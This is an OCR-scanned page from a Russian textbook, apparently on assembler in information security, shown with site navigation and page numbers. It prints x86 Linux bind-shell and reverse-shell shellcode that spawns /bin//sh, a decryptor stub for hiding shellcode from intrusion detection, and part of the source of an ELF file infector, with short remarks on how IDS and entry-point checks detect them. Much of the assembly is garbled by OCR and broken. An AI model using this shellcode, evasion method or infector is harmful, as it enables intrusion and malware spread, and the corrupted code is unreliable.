Анимация
JavaScript
|
Главная Библионтека raovw leal raovl xorl raovl raovb movl movb movb exit ]rap doit 1; imp вызов функции raovb movl raovb raovb int / /вызов %ax,Oxe(%esi) Oxc (%esi),%eax %eax,0x4(%esi) %eax,%eax %eax,0x10 (%esi) $0x10,%al 1еах,0к8 (%esi) $ 0 X 6 6 , % a 1 $0x2,%bl $0x80 0x4 $exit xorl raovl raovl movb movb int / / вызов doit listen () $0x1,%al %eax,0x4 (%esi) $0x66,%al $0x4,%bl $0x80 функции accept () %eax,%eax %eax,0x4(%esil %eax,0x8 [iesi] $0x66,%al $0x5,%bl $0x80 функций dup2 () вообще говоря, этот код можно было бы заменить на следующий:
но это увеличит размер кода, да и алгоритмически не очень красиво movb $3,%cl movb %al,%bl loop l: movb $0x3f,%al int $0x80 loopnz $loop l вызов функции execve() смотри advanced execve() xorl %eax,%eax pushl %eax pushl $0x68732f6e pushl $0x69622f2f raovl *esp,%ebx cltd pushl %edx pushl iebx movl %esp,%ecx movb $Oxb,%al int $0x80 exit: вызов функции выхода xorl leax,%eax movb $0x1,%al xorl %ebx,%ebx int $0x80 после ниже идущей команды call в сегмент кода будет записываться структура, описывающая серверную часть программы doit: call didit В качестве дополнения ниже приведена программа, описывающая несколько други действия и в общем схожая по алгоритму с предыдущей. Дело в том что хакеры не все гда подсоединяются к серверу сами. Порой, из-за настроек firewall приходится вынуж дать сервер подключаться к хакеру. Для этого используются baclc-connect shell-кодь программы, при запуске которых подсоединяются к определенному серверу на опреде ленный порт и открывают оболочку. В этом случае сам сервер становится клиентом, а хакер - сервером, .text . global start start; movl %esp,%ebp xorl %edx,%edx raovb $102,%edx movl %edx,%eax xorl %ecx,%ecx raovl %ecx,%ebx incl %ebx raovl %ebx, - 8 incl %ebx raovl *ebx, -12(%ebp) decl %ebx raovl %ecx, -4( leal -12(%ebp) int $0x80 xorl %ecx,*ecx raovl %eax,-12i incl %ebx movw %ebx,-20(%ebp) movw $9999,-18(%ebp) raovl $0xl00007f,-16(%ebp) leal -20 (%ebp),%eax movl %eax,-8(%ebp) raovb $16,-4 (%ebp) movl %edx,%eax incl %ebx leal -12 (%ebp),%ecx ebp) ЬеЪр) , %ecx ebp) int $0x80 xorl %есх,%есх loop: movb $63,%eax int $0x80 incl %ecx cmpl $3,%ecx jne $loop xorl %eax,%eax pushl %eax pushl $0x68732f6e pushl $0x69622f2f raovl %esp,%ebx cltd pushl %edx pushl %ebx raovl iesp,iecK movb $Oxb,%al int $0x80 4.11. Защита от remote exploit к сожалению, как таковой защиты не существует. Самый действенный метод анализ передаваемых по сети пакетов. Существует технология Ш8 (Intrusion Detection System), эти системы в зависимости передаваемого по сети трафика позволяют пройти пакетам к программам-клиентам шш вызывают firewall, который в свою очередь блокирует вредоносный, по мнению IDS, трафи Как же IDS определяют, что работает exploit. Дело в том что в большинстве shell-кодов открытым текстом написано имя вызыв мой профаммы. Да и код многих из них похож. Поэтому IDS начинает действовать, i антивирус: сканирует приходящий трафик, проводя поиск известных ей сигнатур атак. Хакеры, следящие за развитием компьютерной индустрии, придумали множество мето. обхода таких IDS. Можно заметить сходство борьбы между хакерами с IDS и вирусописг лей с антивирусными пакетами. Хакеры начинают перенимать криптофафические техно гии, методы внесения неопределенности в работу РПВ, используя их в своих shell-кодах. Зашифровать сам текст shell-кода достаточно просто, стоит только помнить, в его теле не должны встречаться нулевые символы, иначе код просто не будет ра тать. Также следует помнить о том, что, возможно, сама профамма не позволит п нимать в виде входного параметра символ "/". Возможно ограничение на ввод ком нации символов sh. Все эти ограничения обходятся без проблем. Рассмотрим пример использования шифровщика. Текст написан для синтаксиса ir так как может быть применен для шифрования shell-кода не только под Unix-систе но и под Windows. BITS 32 raain decript: pop esi loop decr: dec byte [esi+ecx] loop loop deer dec byte lesi] push esi ret encoded; call raain decrypt db INCLUDE ENC0DEP SHELLCODE INCLUDE ENC0DED SHELLC0DT; - это бинарные данные, зашифрованные по алгоритму обратному расшифровке 4.12. ELF-инфекторы mov jrap ecx,LENGTHS 0F ENC0DED SHELLC0DE short encoded Так как сама операционная система написана на языке С, то и вирусов написанных на других языках достаточно мало. Вирусов под Linux вообще мало. Эта операционная система имеет грамотную систему разфаничения прав доступа, что в значительной степени предотвращает вирусную активность. Для того чтобы заразить всю систему, вирусу необходимо иметь как минимум привилегии root, а для этого нужно эксплуатировать какую-нибудь серьезную ошибку в системе. В мире хакеров Linux-систем, как таковых, нет вирусописателей. Обычно хакеры пишут Elf-инфекторы (infector) в надежде на лучшие времена, пока не будет найдена уязвимость, присущая множеству Linux-систем. Больщинство исполняемых файлов в Linux, называются Elf (Executable and Linking Format). Отсюда и название паразитов - Elf-паразиты. Такие паразиты не имеют каких-либо особых функций, а в основном применяют какую-то специфическую технологию заражения. За исключением особых случаев, когда необходимо инфицировать определенный процесс, причем так, чтобы исполнялись какие-то определенные действия: открытие оболочки удаленному пользователю, запрет на проверку uid пользователя, чтение из какого-то файла и т. п. Как уже говорилось ранее, таких паразитов обычно пишут на языке С, но при использовании ассемблера код получается более компактный. Плюс ко всему ассемблер позволяет профаммировать так, что при дизассемблировании программы достаточно трудно Понять, что профаммист имел в виду. Такое профаммирование превосходно подходит *1я сокрытия вируса от эвристического анализатора. Методов заражения существует несколько: от банального добавления тела вируса 6 начало программы (с заголовком) и дописыванием тела инфицированной профаммы * Конец файла до разбиения тела вируса на куски и внедрение каждого в неиспользуемое Фостранство между секциями. Дело в том что сам файл ELF формата состоит из нескольких секций, каждая из которых Имеет свои флаги и тип: Ассемблер в задачах защиты информа содержит данные; не содержит данных; разрешена запись в секцию; разрешено выполнение секции; разрешено динамическое выделение памяти. Существует следующая возможность заражения: модифицируется заголовок програ\(. мы-жертвы таким образом, чтобы секция данных имела разрешение на исполнение. Это конечно, при условии, что до этого секция такого разрешения не имела. Далее, если хватает места, в секцию данных помещается код вируса и меняется точка входа программы именно на начало секции данных программы-жертвы. После того как вирус выполнил свои действия, он передает управление программе-носителю. Так как размер файла не меняется, то определить, что файл заражен, невооруженным глазом практически невозможно. Защита от такого метода - проверка адреса точки входа в программу. Если он находится в промежутке адресов отведенных для секции, в которой, по определению, должны находиться данные, то возникает подозрение на вирус. Иногда вирусы записывают свое тело в конец (последнюю секцию файла) файла-жертвы, после чего меняет точку входа в программу. Далее, как обычно, после работы вируса управление передается на профамму-жертву. Ниже приведен пример профаммы ELF-инфектора. , /victim" . / infectvictira" .data victim:.string result: .string newshoff: entrysize: newent ry: . 1ong 0 traphandle:.long 0 syratpos: symindex:.long 0 oldpoint: .long message:.string "Hel!\n" buffer:.byte 0 .global start start: открываем исходный файл на чтение - это наша жертва после открытия результат помещается в %еах сохраняем его в стеке movl $victim, %ebx raovl $0x2, %ecx xorl %edx, %edx call fopen pushl %eax открываем файл - результат; используемые флаги для открытия сохраняем дескриптор в переменной raovl $result, %ebx movl $01102, %ecx raovl $00700, iedx в него помещается зараженный О RDWR I О CREAT I О TRUNC rAasa,f;...:?.!..ff Р.?. О]фационно0 системе Linux *есх iedx call fopen . movl %eax, traphandle получаем старую точку входа в программу popl %еЪх raovl $0x18, xorl %edx, call fseek читаем ее в переменную movl $address, %есх raovl $0x4, *edx call fread получаем старое смещение секции заголовков movl $0x20, %есх xorl %edx, %edx call fseek записываем его в переменную raovl $oldpoint, lecx movl $0x4, %edx call fread получаем размер секции заголовков raovl $0х2е, lecx xorl %edx, %edx call fseek записываем в переменную raovl $entrysize, lecx raovl $0x4, iedx call fread вычисляем новую точку входа в зараженную программу movl $symindex, %есх raovl call pushl xorl xorl raovw raovw raull addl raovl addl popl movl xorl call raovl raovl raovl raovl call $0x2, %edx fread %ebx %eax, %eax %ebx, %ebx syraindex, %bx entrysize, %ax %ebx oldpoint, %eax %eax, oldpoint $0x10, oldpoint %ebx oldpoint, %ecx %edx, %edx fseek oldpoint, %eax %eax, syratpos $oldpoint, %ecx $0x4, %edx fread готовим вторую часть для записи xorl raovl call subl /, pushl /копируем файл xorl %ecx, *ecx $2, %edx fseek oldpoint, %eax %eax %edx, %edx SEEK SET 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 [ 47 ] 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 |